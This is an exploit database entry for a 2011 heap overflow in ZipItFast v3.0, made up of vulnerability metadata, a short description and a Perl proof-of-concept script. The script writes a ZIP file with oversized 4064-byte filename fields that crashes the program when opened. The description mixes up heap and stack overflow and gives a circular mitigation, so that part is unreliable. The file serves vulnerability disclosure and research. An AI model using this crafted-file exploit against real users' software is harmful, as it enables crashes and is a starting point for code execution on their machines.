ZipItFast v3.0 .ZIP File Heap Overflow Exploit

vendor:

ZipItFast

by:

C4SS!0 G0M3S

7.8

CVSS

HIGH

Heap Overflow

119

CWE

Product Name: ZipItFast

Affected Version From: v3.0

Affected Version To: v3.0

Patch Exists: YES

Related CWE: N/A

CPE: a:zipitfast:zipitfast:3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WIN-XP SP3 Brazilian Portuguese

2011

ZipItFast v3.0 .ZIP File Heap Overflow Exploit

ZipItFast v3.0 is vulnerable to a heap overflow vulnerability when a specially crafted .ZIP file is opened. This can be exploited to execute arbitrary code by tricking a user into opening a malicious .ZIP file. The vulnerability is caused due to a boundary error when processing the file name of a .ZIP file. This can be exploited to cause a stack-based buffer overflow by using a specially crafted .ZIP file with an overly long file name.

Mitigation:

Upgrade to the latest version of ZipItFast v3.0 or later.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#[+]Exploit Title: ZipItFast v3.0 .ZIP File Heap Overflow Exploit
#[+]Date: 08\07\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.freewarefiles.com/ZipItFast---Zip-It-Free-V_program_22803.html
#[+]Version: v3.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#

use strict;
use warnings;

my $filename = "Exploit.zip"; 

print "\n\n\t\tZipItFast v3.0 .ZIP File Heap Overflow Exploit\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";
sleep(2);

my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";


my $payload = "A" x 4064;

$payload = $payload.".txt";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(1);